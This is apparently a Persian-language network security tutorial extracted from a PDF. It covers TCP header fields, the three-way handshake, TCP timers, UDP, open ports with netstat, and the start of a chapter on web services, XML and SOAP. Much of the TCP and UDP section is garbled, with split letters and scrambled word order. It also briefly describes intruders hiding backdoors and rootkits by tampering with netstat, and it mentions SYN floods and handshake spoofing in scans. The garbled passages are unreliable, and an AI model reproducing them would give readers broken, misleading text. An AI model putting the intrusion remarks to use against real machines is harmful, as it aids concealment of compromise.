اط  کننده شروع .١ سته  یک  ارتب دون  TCP ب ه  هيچ  ب ا  و داده گون رای  ACK=0, SYN=1  های  بيت  تنظيم  ب  طرف  ب

ل  د  می  ارسال  مقاب ين  ارسال  حقيقت  در .کن سته  چن ه  ای ب ای  ب راری  تقاضای  ” معن اط  برق  Connection ارتب
Request شود می تلقی 

  
سته  باشد  داشته  تمایل ارتباط برقراری به مقابل طرف صورتيکه در ارتباط، درخواست به پاسخ در .٢ ر  ب د  می  ب  گردان

اط  یک  پذیرش ” نقش بسته این .است ACK= 0  بيت و SYN= 1 بيت آن در که  را Connection Accept ارتب
 .داد خواهيم توضيح بيشتر را ارتباط برقراریبعدا درباره  .کند می بازی

 
 

ام  در باشد  نداشته ارسال برای دیگری داده ارتباط، طرفين از یکی اگر FIN  بيت • سته  آخرین  لاارس  هنگ ن  خود  ب  را بيت  ای
د  می  قطع  یکطرفه را خودش اطلاعات ارسال حقيقت در و کند می1 ن  در . کن  و شده  قطع  طلاعات ا ارسال  اگرچه  حالت  ای

ل  طرف  که یابد می خاتمه کاملا ارتباط زمانی .باشد مشغول اطلاعات لاارس به است ممکن هنوز مقابل طرف ليکن ز  مقاب  ني
 دهد خاتمه را اطلاعات ارسال FIN  بيت کردن 1 با بسته یک در

 
 

   Windows Size :  فيلد •
  
  

 می اعلام مقابل طرف به یعنی . دارد خالی ظرفيت دیگر بایت چند گيرنده بافر فضای که کند می مشخص فيلد این در گرفته قرار مقدار
ه  حداکثر است، شده مشخص Acknowledgment فيلد در که ترتيبی شماره با بایت از است مجاز که کند دازه  ب داری  ان ه  مق ن  در ک  ای
 شد خواهد ریخته دور ناگزیر و نداشته وجود ها داده دریافت برای کافی فضای صورت این غير در و باشد داشته ارسال شده، درج فيلد

دارد  وجود بعدی های داده دریافت امکان و است شده پر تماماً گيرنده بافر که معناست بدین د باش صفر فيلد این مقدار اگر .  پروسه  و ن
 .داد خواهم توضيح بيشتر نيز مورد این در شد؛ خواهد متوقف فرستنده

 
 

  : Checksum فيلد •
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  گيرد می قرار خطا کشف کد بيتی، 16 فيلد این در
  
  

  TCP Segment Length  فيلد •
  
  .گردد می مشخص TCP  بسته کل طول آن در که
  
  

  Urgent Pointer : فيلد •
  
سته  درون را اضطراری های داده موقعيت که گيرد می قرار گر اشاره عنوان به عدد یک فيلد این در ين  TCP ب د  می  مع ن  . کن  داده ای
د  رخ کاربردی ه برنام یک اجرای هنگام در ها وقفه وقوع شبيه عملی که شوند می ارسال و افتند می اتفاق زمانی ها، دون  . بده  آنکه  ب

ه  توسط  اضطراری  های  داده که کنيد دقت . شد خواهد ارسال جاری بسته همين در لازم های داده شود قطع ارتباط اربردی  برنام  در ک
   .ندارد کاربردی TCP  پروتکل برای و شد خواهد پردازش بالاتر لایه

 
 

  Options : فيلد •
  
سته  طول آنکه برای. گيرد می قرار آن در TCP  بسته طول اکثر حد نظير مقداری و است اختياری فيلد این اقی  4 از ضریبی  ب د  ب  بمان
 .نيست شده تعریف فيلد این در دیگری خاص گزینه . شود می استفاده ارزش بی کدهای با فيلد این از
 
 

  TCP پروتکل در ارتباط برقراری روش
  
  

 البته . شود می استفاده  Ways Handshaking 3 یا “ ای مرحله سه تکانی دست” روش از TCP  پروتکل در ارتباط برقراری برای
ه  طرف  یک یعنی باشند؛ ارتباط یک برقراری آماده ارتباط طرفين که است قضيه این بر منوط ، ارتباط برقراری را  فعلا  ک  سرویس  آن

رده  آمادگی اعلام()accept  و()listen  سيستمی توابع طریق از ارتباط برقراری برای ميناميم دهنده ل  طرف  و باشد  ک ز  مقاب ی  ني  یعن
د  ابراز ارتباط، برای را خود تمایل مقصد، پروسه پورت آدرس و IP آدرس تعيين و()connect سيستمی تابع فراخوانی با مشتری  نمای

 :است کشيده تصویر به مراحل این زیر شکل در . افتاد خواهد مرحله سه اتفاقات طرفيت بين حالتی چنين در .
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ه  در ده  شروع  طرف  از اول، مرحل اط،  کنن سته  یک  ارتب د  ارسال  داده از خالی  TCP  ب ه  شد  خواه  بيت  و SYN= 1 بيت  آن در ک

ACK= 0 دعد ترتيب شماره فيلد درون و است  x  رار ه  شده  داده ق صادفی  عدد  یک  x  آن در ک ا  حقيقت  در . است  ت ن  ب ه  شماره  ای  ب
 32 ترتيب  شماره  TCP  پروتکل  در . شود  می  شروع  x+1 شماره  از ارسالی  های  داده ترتيب  که شود می داده اطلاع مقابل طرف
رای  لذا است بيتی شگيری  ب الی  مشکلات  از پي ودن  مساوی  از ناشی  احتم سته  رتيب ت شماره  ب الی،  های  ب ا  داده ارس  صفر  شماره  از ه

 شماره  این اول، مرحله همان در و گردد می شروع ، شود می توليد خودکار صورت به که تصادفی عدد یک از بلکه شوند، نمی شروع
ایی  داده که معناست بدین باشد SEQ= 145500  اگر مثال عنوان به . شد خواهد اعلام مقابل طرف به ترتيب ه  ه رار  ک  ارسال  است  ق
  .باشد باخبر موضوع این از باید حتما مقابل طرف .شد خواهد آغاز 145501 از آنها ترتيب شماره شوند

 
ا  باشد  نداشته ارتباط برقراری به تمایل اگر الذکر فوق مشخصات با ای بسته دریافت با مقابل طرف دوم، مرحله در سته  یک  ارسال  ب  ب

ا  داده از خالی  بسته یک بود ارتباط برقراری به متمایل اگر ولی کند می رد را تقاضا این شده، تنظيم 1 به RST  بيت آن در که خالی  ب
 :کند می توليد زیر مشخصات

 
 کند می یک را SYN  بيت 

  
  کند می یک را  Ack بيت 

  
 دهد می قرار  x+1 را Acknowledgement Number فيلد مقدار 

 
  .دهد می قرار y تصادفی ارمقد را Sequence Number  فيلد مقدار 

 
  
 را x  ترتيب شماره که دهد می نشان ACK=x+1  فيلد مقدار دادن قرار با مقابل طرف است ارتباط پذیرش معنای به که مرحله این در

رار  Seq.No  فيلد در را y  تصادفی عدد خودش ضمن در . است بعد به x+ 1  ترتيب شماره از ها داده منتظر و پذیرفته د  می  ق  و ده
ود  خواهد y  از ارسالی های داده ترتيب شماره که کند می اعلام مقابل طرف به ه  در .ب ده  شروع  سوم،  مرحل اط  بحث  کنن ا  ارتب رار  ب  ق

 .کند می تصدیق را ارتباط شروع زیر مقادیر دادن
 

   .کند می یک را SYN  بيت 
  

   .کند می یک را Ack  بيت 
  

   .دهد می قرار راSeg.No.=x+1 فيلد 
  

   .دهد می قرار y+1 را  Ack يلدف 
  
 است شده توافق ترتيب شماره پارامترهای روی بر که کند می اعلام ارتباط کننده شروع Ack=y+1  و Seq.No.=x+1 دادن قرار با
 هنگامی  ات طرفين توسط ها داده دریافت و ارسال مرحله این از پس . بپذیرد y+ 1  شماره از را مقابل طرف های داده که پذیرفته او و
 .است آزاد است نشده داده خاتمه طرفين اطلاع با ارتباط که
  
  

 :گيرد می صورت زير روند ارتباط خاتمه برای
  

رار  یک  را FIN  بيت آن سرآیند در که نماید می ارسال TCP بسته یک است شده تمام ارسال برای هایش داده که طرفی  . است  داده ق
 می  ختم طرفه یک صورت به ارتباط چون ولی . کند می موافقت آن طرفه یک ختم با و کند می تدریاف را درخواست این مقابل طرف
 تصدیق  از پس  تا بگذارد یک را FIN  بيت بسته، آخرین در نهایتا و کند ارسال را آنها دارد، داده جائيکه تا تواند می مقابل طرف شود
 .شود ختم طرفه دو صورت به ارتباط آن،

  
ه  ه  ای نکت ه  آنست  دارد ودوج  ک اط  ن طرفی  از یکی  اگر  ک ر  در ارتب روز  اث زاری  سخت  مشکل  ب ا  اف رم  ی زاری  ن اط  اف دون  را ارتب  ب

ن  و کند اقدام پروسه همان با مجدد ارتباط به ثانيه 120 تا ندارد حق یا شود Disconnect کند قطع هماهنگی ه  ای  است  آن از ناشی  نکت
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رایش  آنکه یا کرده ارسال که قبلی های بسته باشد مطمئن که ر  از شده  ارسال  ب د  شده  حذف  شبکه  زی ع  بعضی  ان  دست ” در تقلب  مواق
 !بود خواهد ها سيستم به حمله یا پویش های مکانيزم از برخی در موفقيت شرط “ ای مرحله سه تکانی

  
  

  TCP پروتکل در جريان کنترل
  
  
بلا  که همانگونه .کنيم بحث Windows Size  فيلد نقش مورد در اندکی نيست بد اینجا در رای  TCP پروتکل  در شد  اشاره  ق رل  ب  کنت

اربردی  برنامه به ارسال از قبل ها داده و شود می استفاده بافر از ها داده جریان ه  ک الاتر  لای افر  ب ه  و شده  ب ل  ای دسته  صورت  ب  تحوی
 این در . شود پر بافر و نکرده مقرر مهلت در خود ی شده بافر های داده دریافت به اقدام کاربردی برنامه است ممکن گاها و شد خواهد
 ، شود ارسال دیگر طرف به که  TCP بسته هر در دليل همين به بود، نخواهد ش بافر در ها داده ذخيره و دریافت به قادر گيرنده حالت
د  این در بافر، آزاد فضای حجم د  اعلام  فيل رم  . شد  خواه زار  ن ل  طرف  در TCP اف ا  را خود  است  موظف  مقاب افر  فضای   ب  موجود  ب

 .شد نخواهد پذیرفته بسته آن صورت این غير در ننماید، ارسال شده اعلام بافر فضای از بزرگتر طول با ای بسته یعنی نماید، هماهنگ
افر  فضای  کل از که معناست بدین باشد 4069 مقدار Windows Size  فيلد مقدار دریافتی بسته یک در اگر مثال عنوان به  ود،موج  ب

 .است خالی آن از کيلوبایت چهار فعلا
 
رای  خاص  ی “داده ساختمان ” یک  شود، برقرار آميز موفقيت که TCP  ارتباط هر ازای به پروتکل این در اد  آن ب د  ایج ه  شد  خواه  ک

ن  . شود  می  نگهداری آن در ها داده جریان دریافت یا ارسال وضعيت آخرین از اطلاعاتی ر  ظارت ن بلوک ” داده، ساختمان  ای ال  ب  انتق
Transmission Control Blockاختصارا یا  TCB داده ساختمان درون شده تعریف متغيرهای از برخی .شود می ناميده TCB  در 

  :است شده معرفی زیر جدول
 
  

  
  
  

د  می  ایجاد حافظه در  TCP ارتباط هر ازای به ماشين یک که است فضایی همين  DOS حملات از برخی اساس اب  کن ستمی  عمن  و سي
SYN Flood پروتکل در ها سنج زمان(TCP Timers) TCP پروتکل صحيح عملکرد  TCP و درست  استفاده به شدیدی وابستگی 

 :کنيم می بررسی را پروتکل این در رفته بکار های سنج زمان مهمترین بخش این در . دارد ها سنج زمان از منطقی
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 : Retransmission Timer   
  
داری  ضمن شود، می ارسال مقصد ی پروسه برای ای بسته وقتی ارتباط، یک برقراری از پس شد اشاره که ای گونه به  آن موقت  نگه
 برای نو از بسته آن نرسيد، (Ack) آن دریافت پيغام مقرر مهلت در اگر و شود می فعال و تنظيم سنج زمان یک آن برای بافر، یک در

ده  RT اختصارا که سنج زمان این . شد خواهد ارسال مقصد ه  شود  می  نامي دار  یک  ب يش  مق داردهی  فرض  پ ه  شروع  و شود  می  مق  ب
ه  سنج  زمان آن مقدار گاه هر نماید، می زمان معکوس شمارش ی  برسد  صفر  ب ام  ول سته  دریافت  پيغ ان  انقضای  رخداد ” نگردد،  ب  زم
ی  مراحل  و کند می بسته آن مجدد سالار به وادار را TCP  پروسه و شده حادث Retransmission Timer Event تکرار و  از قبل  ن

 .شود می کرار  ت
 

ه  آنست شبکه در بغرنج مسئله ولی است ساده بسيار سنج زمان این عملکرد يش  اولا ک ن  فرض  پ ان  ای داری  چه  سنج  زم اً  باشد؟  مق  ثاني
ان  سریع،  محلی های شبکه در شود؟ تکرار بار چند بسته یک مجدد ارسال عملا س  یک  رفت  زم ام  یک  برگشت  و تهب  آن، دریافت  پيغ
دین  تا تواند می برگشت و رفت زمان این WAN  شبکه در که حالی در کشيد خواهد طول ثانيه هزارم چند حدود ه  چن  .بکشد  طول  ثاني
ع  دور راه شبکه  یک روی مقصد وقتی آنگاه شود، نظير کم مقداری به RT  سنج زمان فرض پيش زمان باشد قرار اگر ل ق است،  واق  ب
ه  بسته هر برای کار این و شود می ارسال مجددا بسته و شده منقضی پنج زمان این مهلت رسد، ب مقصد به بتواند بسته آنکه از  طور  ب

رار  اگر  دیگر  طرف  از . کند می تحميل شبکه به را ای بيهوده و زائد ترافيک و شود می تکرار متوالی ان  باشد  ق يش  زم ن  فرض  پ  ای
رین  .آمد خواهد بوجود زیادی تاخير خطا یک بروز هنگام سریع، و محلی های شبکه در شود تنظيم بزرگ مقداری با پنج زمان  راه بهت
  .است وابسته آن به شدت به TCP پروتکل راندمان که چرا است پویا و وقفی های روش از استفاده سنج تنظيم

  
  

:Keep-Alive Timer  
  

ا  را اطلاعات الارس دليلی هر به ارتباط یک طرفين است ممکن د  متوقف  موقت ه  ای داده هيچ  و کنن شود،  مبادل د  هر  ن اط  چن  TCP  ارتب
اط  اطلاع، بدون افزاری، نرم یا افزاری سخت خرابی مثل دليلی به طرفين از یکی است ممکن دیگر سوی از . باشد باز و فعال  را ارتب
  TCP بسته یک منظم زمانی های بازه در سنج زمان این از استفاده با اطلاعات فرستنده حالت، دو این بين تمایز برای . باشد کرده رها
ه  صورتی  در و شود  می  ارسال  مقصد برای باشد می ای داده هرگونه از خالی که ام  ک شان  بازگشت،  آن دریافت  پي ده  ن ه  آنست  دهن  ک

افر  تمام و شده قطع طرفه یک صورت به TCP  ارتباط صورت این غير در است؛ باز و فعال TCP  ارتباط ا  ب اد  فضای  و ه  شده  ایج
 .باشد می ثانيه 45 تا 5 بين مقداری پنج زمان این فرض پيش زمان . شوند می آزاد

 
: Persistence Timer 

  
اط،  طرفين  از یکی وقتی TCP  پروتکل در دار  ارتب افر  فضای  مق د  در را خود  آزاد ب د،  اعلام  صفر  Windows Size فيل اگزیر  کن  ن

 به باید موضوع این شد، تخليه شده پر بافر فضای از مقداری  آنکه از پس حالتی چنين در .شد خواهد بلوکه متوقف مقابل طرف پروسه
ا  شود گزارش مقابل طرف ستم  ت ل،  سي ه  پروسه  عام ا  را شده  بلوک رده  احي ه  و ک ل  طرف  از ارسال  ادام ر  در باشد،  ممکن  مقاب ن  غي  ای

رای  یت بينها تاخير و "Deadlock  - بست بن "صورت د  بوجود  پروسه  ب د  خواه ا  . آم تفاده  ب ن  از اس ان  ای  شدن  آزاد از پس  سنج  زم
 فضای  وضعيت آخرین از آگاهی ضمن تا شود می ارسال شده بلوکه پروسه برایTCP  بسته یک منظم زمانی فواصل در بافر، فضای
  .شود احيا بتواند  پروسه بافر

  
Quiet Timer 

  
اط  شدن  بسته از پس که باشند داشته وجود شبکه روی بر سرگردان هایی بسته هنوز ولی شود بسته TCP  ارتباط یک است ممکن  ارتب
TCP از استفاده حق مدتی تا ها پروسه بقيه خاص، پورت شمارهی با ارتباط یک شدن بسته از پس پروتکل این در لذا برسند، مقصد به 
ان  این فرض پيش مقدار .نماید می مشخص Quiet Timer  را زمان این . ندارند را شده بسته اخيرا که یپورت شماره اً  سنج  زم  دو دقيق
  ثانيه 120 تا 30 بين چيزی است ثانيه برحسب  IP بسته حيات زمان فرض پيش مقدار برابر

 
 
 

Idle Timer  
  
اط ارت شود،   انجام متعارف حد از بيش بسته یک ارسال تکرار برای تلاش اگر که است آن برای سنج زمان این ه   راTCP ب  صورت  ب
   .است  دقيقه 6   یعنی ثانيه 360 پنج زمان این معمول مقدار . نماید می قطع و کرده رها طرفه یک
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  UDP پروتکل
 
  

د  می  داده، ی مبادله گونه هر از قبل ارتباط یک برقراری لزوم و است “گرا اتصال” پروتکلی TCP پروتکل ين  توان د  ب ی  چن ه  ميل  ثاني
ام  بازگشت برای تامل ضمن در بکشد؛ طول WAN  های شبکه برای ثانيه چندین تا سریع محلی های هشبک برای  یک  Ack  های  پيغ
ل  زمان این ، ها کاربرد از برخی برای . کرد خواهد مواجه تاخير با را کاربردی ی پروسه  یک  رسيدن  در سرعت  و نيست  تحمل  قاب
ل  کاربردهای شود می محسوب کنترلی های پيغام ارسال و ترتيب شماره قبيل از ئلیمسا به پرداختن از تر ضروری مقصد، به بسته  مث
اره  این در مفصل هایی مقاله آینده در . اید داشته کار و سر آنها با قطعا که  TFTP یا  DNS سيستم ه  در داشت  خواهيم  ب ال  لای  از انتق

دل  رای  TCP/IP م ين  ب ایی  چن اده  پروتکل  یک  کاربرده ه  سریع  و س ام  ب ه  است  شده  معرفی  UDP  ن ه  ک ی  صورت  ب دن ” ذات  ب
سته  یک  انتظار  در که سرنوشتی از اطلاعی هيچ بدون یعنی است، – Connectionless“اتصال ه  است،  ب  می  ارسال  مقصد  سمت  ب
 .شود مدیریت و بررسی بالاتر لایه در باید ها داده نرسيدن یا رسيدن از اطلاعی هرگونه .شود

  
ا  و باشد  داشته وجود اند تو می که کانال خطای بر نظارت از غير به دارد را IP  لایه های استیک تمام UDP پروتکل ان  تنه ن  ارمغ  ای
ان  در نظرات از ناشی تاخيرات شدن کم و ارسال سرعت ها، پروسه برای پروتکل سته  جری ا  ب سيار  ساختار  .ست  اه اده  ب سته  یک  س  ب
UDP تهبس یک ساختار زیر در .کنيم می بررسی را UDP  است شده کشيده تصویر به:  

  
  

 
 
 

  Source Port :  فيلد •
  
 .گرفت خواهد قرار کرده، توليد ارسال، جهت را بسته این که مبدا ی پروسه پورت آدرس عنوان به بيتی 16 شماره یک فيلد، این در
  
 

 Destination Port : فيلد •
  
 دو این شد اشاره قبلی بخش در که همانگونه .شد  خواهد تعيين گرفت، اهدخو تحویل آنرا که مقصد ی پروسه پورت آدرس فيلد، این در

 داده تحویل مقصد ماشين در ای برنامه چه به باید و توليد بالاتر لایه در کاربردی ی برنامه کدام از بسته این که کنند می مشخص آدرس
  (Application Running on the Same Port) !!!شود

 
  

  UDP Length : فيلد •
  
  شود می درج ها داده و سرآیند شامل بایت، برحسب UDP  ی بسته طول فيلد، این در
  
  

   UDP Checksum : فيلد •
  
ه  است  روشی همانند دقيقا کد این محاسبه روش . شود می درج خطا کشف کد بيتی، 16 فيلد این در  . شد  معرفی  TCP  پروتکل  در ک
رای ( شود  می  تنظيم  صفر به آن بيتهای تمام آن، به نياز عدم صورت در و است اختياری فيلد این بکارگيری که آنست در تفاوت تنها  ب

  )تصویر یا صدا دیجيتال ارسال مثل کاربردهای
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 با .  DNS سيستم است پاسخ یک و تقاضا یک بر مبتنی شان عمليات که است هایی پروسه برای  UDP پروتکل کاربرد ترین مناسب 
 مورد این در کند می مواجه مشکل با را نفوذگر اندکی UDPز با پورتهای جستجوی است، اتصال بدون تکلیپرو UDP  آنکه به توجه
 .شد خواهد داده توضيح مفصل نيز

  
  Open Port يا باز پورتهای مفهوم

  
  

 دارد وجود  فعال پروسه یک ماشين آن روی بر : که معناست بدین ، است باز ماشين یک روی بر N  شماره پورت شود می گفته وقتی
ه  کرده تقاضا عامل سيستم از پروسه آن حقيقت در . کند می پردازش و پذیرفته را N  پورت ی شماره با ورودی TCP های بسته که  ک
   .کند هدایت پروسه آن سمت به است، N  مقصدشان پورت شماره که را ( UDP)  یا TCP های بسته تمام

  
  

ا  از استفاده با توانيد می شما ام  فهرست  netstat –na نفرم ای  تم از  پورته ان  ماشين  ب د  بدست  را ت ا  .بياوری ه  کمی  ب ارگيری  ب  دقت  ک
ا  که هایی IP ميتوانيد ا  ب ز  آنه اط  در ني ز  را هستيد  ارتب دا  ني د  پي ثلا  .کني د  فرض  م ه  کني ورت  از Yahoo Messenger  برنام  شماره  پ
 استفاده با توانيد، می باشد Peer-To-Peer  صورت به شخص یک با باطارت که صورتی در خوب کند، می استفاده ارتباط برای 5050

ی  مسنجر یاهو پورت آنها از یکی قطعا که کنيد ليست را خود کامپيوتر باز های پورت دستور این از د  5050 یعن ود  خواه ه  ب  حال  در ک
 ليست خارج دنيای از هستند ارتباط در پورت آن با که هایی آدرس Foreign Address قسمت در خوب کنيد، می استفاده آن از حاضر
  .کرد دریافت را مقابل فرد IP  توان می نگاهی با که اند شده

 
 معنای به باز پورت یک . نمایند کشف را ماشين یک باز های پورت فهرست تا کنند می تلاش شدت به نفوذگران که دانيد می حتما
 .آموخت خواهيد مطالبی نيز مورد این در  !باشد ماشين به نفوذ ی رخنه یک دتوان می فعال ی پروسه یک و است فعال پروسه یک
د  یاد آینده در ه  گرفت  خواهي وذگران  ک ه  از پس  نف ه  رخن ستم  ب راوا  اسب  پروسه  یک  سي ه  ت ستم  در را جاسوس  نقش  ک ازی  سي د  ب  ميکن

Controlling Machine with the Spying Abilities د  ماشين  آن مسئول  آنکه  رایب حال .کند می فعال ماشين روی ن  از نتوان  ای
از  پورتهای فرست که کند آلوده نحوی به را netstat  اجرایی ی برنامه است مجبور نفوذگر ببرد بویی موضوع ال  های  پروسه  و ب  فع

ه  را شان  درستی  ب د  ن ه  .نده وان  می  البت ه  ت ه  هر  از Trojan Horse جای  ب ه  ای برنام تف  دارد را جاسوسی  قابليت  ک رد  ادهاس د  ک  مانن
Backdoor, Rootkits, Keyloggers, Spy Softwares, PS Softwares, NC و ...   
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ادی    مثل فصل قبل برای این فصل نيز         متاسفانه: اهداف   سيار زی رد مطالب ب ر         گ ر سهل انگاری یک نف ه در اث ود ، ک یک  (آوری شده ب
ان            تمام مطالب از دست رف    ) گلابی اطنی م ل ب ر خلاف مي ور شدیم ب ا مجب ستيم ،        ت ، و م اید نب د و ش ه بای ن فصل را آن جور ک چون   ای

سيار ناراحت             ( دیگری وقتی برای ویرایش و نگارش مطلب نداشتيم      د و خود ب يش ام ا پ رای م ه در اخرین لحظات ب ن حادث فانه ای متاس
  .)هستيم بسيار ، بسيار زیاد 

  
  

  . و مطالب مربوطهHTTP معرفی پروتکل :وم دفصل  
 

 وب سرویس چيست ؟ 
 HTTP.  
  .SSHمقدمه ای بر  
  .Domainدرباره  
  .Hostingدرباره  
  IIS6.0 با IIS5.0مقایسه  
  .IISنصب و پيکر بندی  
 .پنهان سازی سرور های وب برای افزایش ایمنی  
 .جعل هویت در وب به صورت ساده  
  !!One-Way Hackingآموزش متد  
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  سرويس چيست ؟وب
   

يش از         .  آشنایی دارند حتماً  نام وب سرویس را شنيده اند            ITکسانی که با صنعت      ال ، ب رای مث ه در نظر سنجی       ۶۶ب سانی ک    درصد ک
ود                     InfoWorldمجله   د ب روه      .  شرکت کرده بودند بر این توافق داشتند که وب سرویس ها مدل تجاری بعدی اینترنت خواهن ه علاوه گ ب

اما وب سرویس چيست و چگونه .  در صد بالا می برد ٣٠ را تا ITپيش بينی کرده است که وب سرویس ها کارآیی پروژه های       گارتنر  
  شکل تجارت را در اینترنت تغيير خواهد داد ؟

ز داده های باید با یکدیگر ارتباط داشته باشند و ا) Enterprise(برای ساده کردن پردازش های تجاری ، برنامه های غير متمرکز 
قبلاً  این کار بوسيله ابداع استاندارد های خصوصی و فرمت داده ها به شکل مورد نياز هر برنامه انجام . اشتراکی یکدیگر استفاده کنند 

وب سرویس ها .  انتقال اطلاعات بين سيستم ها را افزایش داد – تکنولوژی آزاد برای انتقال دیتا – XMLاما دنيای وب و . می شد 
 برای انتقال اطلاعات بين نرم افزارهای دیگر از طریق پروتکل های معمول اینترنتی استفاده می XMLرم افزارهایی هستند که از ن

و نتایج را به برنامه دیگری می ) توابع یا ساب روتين ها (به شکل ساده یک وب سرویس از طریق وب اعمالی را انجام می دهد . کنند 
امه ای در یک کامپيوتر در حال اجراست ، اطلاعاتی را به کامپيوتری می فرستد و از آن درخواست جواب می این یعنی برن. فرستد 

کند ، برنامه ای که در آن کامپيوتر دوم است کارهای خواسته شده را انجام می دهد و نتيجه را بر روی ساختارهای اینترنتی به برنامه 
 که مهم ترین HTTPنند از پروتکل های زیادی در اینترنت استفاده کنند اما بيشتر از وب سرویس ها می توا. اول بر می گرداند 

  .آنهاست استفاده می شود 

برای مثال در یک برنامه می تواند آخرین عنوان های اخبار را از وب سرویس . وع کاری می تواند انجام دهد وب سرویس هر ن
Associated Pressکاری که وب .  تواند آخرین اخبار و اطلاعات بورس را از وب سرویس بگيرد  بگيرد یا یک برنامه مالی می

  . عدد یا به پيچيدگی انجام کليه امور مشترکين یک شرکت باشد ٢سرویس انجام می دهد می تواند به سادگی ضرب 

 ، نایب ریيس Paul Flessnerوب سرویس دارای خواصی است که آن را از دیگر تکنولوژی و مدل های کامپيوتری جدا می کند ، 
یش ذکر کرده است ، یک   چندین مشخصه برای وب سرویس در یکی از نوشته هاdot NET Enterprise Serverمایکروسافت در 

یک وب سرویس کاری که می کند را در خود مخفی نگه می دارد وقتی برنامه ای به آن . ، وب سرویس ها قابل برنامه ریزی هستند 
دوم ، وب سرویس ها .  سرویس آن را پردازش می کند و در جواب آن اطلاعاتی را به برنامه اصلی بر می گرداند اطلاعات داد وب

 تکنولوژی هایی Simple Object Access Protocolیا   SOAP های مبتنی بر XML و XML.  بنا نهاده شده اند XMLبر پایه 
دیگر برنامه ها ارتباط داشته باشد حتی اگر آن برنامه ها در زبانهای مختلف هستند که به وب سرویس این امکان را می دهند که با 

به این . همچين وب سرویس ها خود ، خود را توصيف می کنند . نوشته شده و بر روی سيستم عامل های مختلفی در حال اجرا باشند 
 Web یا WSDLاین توضيحات به طور کلی در . دهند معنی که کاری را که انجام می دهند و نحوه استفاده از خودشان را توضيح می 

Services Description Language نوشته می شود  .WSDL یک استاندارد بر مبنای XML به علاوه وب سرویس ها  . است 
 یا UDDIرنامه نویس می تواند به دنبال وب سرویس مورد علاقه در دایرکتوری هایی مثل ل شناسایی هستند به این معنی که بقاب

Universal Description , Discovery and Integration جستجو کند  .UDDI یکی دیگر از استاندارد های وب سرویس است .  

   

  :نکات تکنولوژی وب سرويس 

همانطور که در ابتدا توضيح داده شد یکی از دلایل اینکه وب سرویس از دیگر تکنولوژی های موجود مجزا شده است استفاده از 
XML و بعضی استاندارد های تکنيکی دیگر مانند SOAP ، WSDL و UDDI این تکنولوژی های زمينه ارتباط بين برنامه .  است

 یک مکانيزم ارتباطی را SOAP. ها را ایجاد می کند به شکلی که مستقل از زبان برنامه نویسی ، سيستم عامل و سخت افزار است 
 یک UDDIیک روش یکتا برای توصيف وب سرویس ایجاد می کند و    WSDL.  کند بين نرم افزار و وب سرویس ایجاد می

وقتی اینها با هم در یک جا جمع می شود این تکنولوژی ها به برنامه نویس ها . دایرکتوری قابل جستجو برای وب سرویس می سازد 
  . ترنت قرار دهند اجازه می دهد که برنامه های خود را به عنوان سرویس آماده کنند و بر روی این

در قسمت های بعدی هر کدام از این تکنولوژی ها . شکل زیر نقش هر کدام از استاندارد ها را در ساختار وب سرویس نمایش می دهد 
  .را بررسی می کنيم 
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XML يا eXtensible Markup Language:   

 XML همچنين این تکنولوژی  یک تکنولوژی است که به شکل گسترده از آن پشتيبانی می شود ،Open  است به این معنی که تعلق به
با .  برای ساده کردن انتقال دیتا ایجاد شده است ١٩٩۶ در سال W3C یا WWWاولين بار در کنسرسيوم . شرکت خاصی ندارد 

 قابليت ( در توسعه پذیری HTMLضعف .  مشخص شد HTML کم کم محدودیت های ٩٠گسترده شدن استفاده از وب در دهه 
. و ضعف آن در توصيف دیتاهایی که درون خود نگهداری می کند برنامه نویسان را از آن نا اميد کرد ) اضافه و کم کردن خواص 

 یک سری امکانات را در جهت W3Cدر پاسخ به این اشکالات . همچنين مبهم بودن تعاریف آن باعث شد از توسعه یافتن باز بماند 
 Cascade Style یا CSSاین امکان را .  مهم ترین آن است HTMLود که امکان تغيير ساختار متنهای  به آن افزHTMLتوسعه 
Sheet می نامند .  

 W3Cدر نتيجه . باید یک روش استاندارد شده ، توسعه پذیر و داری ساختار قوی ایجاد می شد . این توسعه تنها یک راه موقتی بود 
XML را ساخت  .XMLوسعه پذیری  دارای قدرت و تSGML یا Standard Generalized Markup Language و سادگی که 

  .در ارتباط در وب به آن نياز دارد است 

 فقط یک دیتا را توصيف XMLمتنهای .  به حساب می آید XMLاستقلال اطلاعات یا جدا بودن محتوا از ظاهر یک مشخصه برای 
 قادر است به اطلاعات درون فایل – بدون توجه به زبان و سيستم عامل –ک است  برای آن قابل درXMLمی کنند و برنامه ای که 

XML متنهای .  هر گونه شکلی که مایل است بدهدXML حاوی دیتا هستند بدون شکل خاص بنابراین برنامه ای که از آن می خواهد 
 و PDA با PC در یک XMLاین نحوه نمایش یک فایل بنابر. استفاده کند باید بداند که چگونه می خواهد آن اطلاعات را نمایش دهد 

  . تلفن همراه می تواند متفاوت باشد 

این اطمينان توسط . ی مورد نظر خود است   مواجه می شود باید مطمئن باشد که آن متن حاوی دیتاXMLوقتی یک برنامه با متن 
همچنين آنها به برنامه .  را بررسی می کنند XMLورات متن  تجزیه کننده ها دست . حاصل می شود XML Parserبرنامه هایی با نام 

 می تواند به متن دیگری اشاره کند که حاوی XMLبه صورت اختياری هر متن .  را تفسير کند XMLکمک می کنند تا متن های 
  .  گفته می شود Document Type Definition یا DTD دوم XMLبه آن متن .  اصلی باشد XMLساختار فایل 

 بررسی می کند که آیا به همان ساختاری که در DTD اشاره می کند برنامه تجزیه کننده فایل اصلی را با DTD به XMLوقتی فایل 
DTD اگر یک تجزیه کننده .  توصيف شده شکل گرفته است یا خيرXMLبتواند یک متن را به درستی پردازش کند متن  XML نيز 

  .به شکل صحيحی فرمت شده است 

 به عنوان یک تکنولوژی جهانی برای XML که اکثر نرم افزار ها امکانات وبی خود را افزایش دادند این طور به نظر می آید که وقتی
ِ  XML استفاده می کنند قادر خواهند بود که XMLتمامی برنامه هایی که از . فرستادن اطلاعات بين برنامه های انتخاب شود 

 یک تکنولوژی مناسب برای وب سرویس باشد ، XMLالای تطابق بين برنامه ها باعث می شود که این سطح ب. همدیگر را بفهمند 
  .چون بدون اینکه احتياج به سيستم عامل و سخت افزار یکسان باشد می تواند اطلاعات را جابجا کند 
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SOAP يا Simple Object Access Protocol:   

 SOAPطبق شواهد اولين بار توسط . ست که در وب سرویس ها استفاده می شود  یکی از عمومی ترین استاندارد هایی ا
DeveloperMentor شرکت ، UserLand ارایه شده ١٩٩٩ ساخته شده و نسخه اول آن در سال ١٩٩٨ و مایکروسافت در سال 

 دهنده کار زیاد بر  نشان١٫٢نسخه .  ارایه شد W3C در ٢٠٠١ بود که در دسامبر سال ١٫٢ ، نسخه SOAPآخرین نسخه . است 
